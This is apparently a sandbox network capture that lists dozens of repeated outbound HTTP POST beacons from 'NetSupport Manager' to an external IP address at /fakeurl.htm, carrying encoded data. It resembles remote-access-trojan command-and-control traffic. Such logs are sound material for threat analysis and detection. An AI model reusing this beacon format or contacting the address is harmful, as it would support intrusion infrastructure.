Dec 6, 2023 14:35:21.701864958 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.802052975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.902861118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.002861977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.103120089 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.211040020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.411866903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.511945009 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.612848043 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.712846041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.813771963 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.913774967 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.014823914 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.115875006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.215924978 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.317032099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.417045116 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.517210960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.617827892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.718832970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.819899082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.921479940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.020787954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.155416965 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.254832983 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.355873108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.753192902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.852796078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:24.967356920 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.068182945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.167798042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.274419069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.373874903 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.474813938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.576181889 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.675832033 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.776830912 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.877841949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:25.978817940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.078788042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.178838968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.278892040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.379879951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.479825020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.580786943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.680814028 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.780829906 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.881819010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:26.982820034 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.083019018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.183046103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.283917904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.384953022 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.486129045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.586951971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.686880112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.786947966 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.887094975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:27.988171101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.088862896 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.189879894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.289832115 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.389822006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.491080999 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.590811014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.690998077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.790813923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:28.890780926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.092909098 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.193881989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.293812990 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.394916058 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.495874882 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.596833944 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.696866035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.796804905 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.896836996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:29.997831106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.097846031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.197917938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.297780037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.398802996 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.499794960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.600784063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.701803923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.801769972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:30.902766943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.003751040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.104849100 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.205774069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.308805943 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.409881115 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.510766029 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
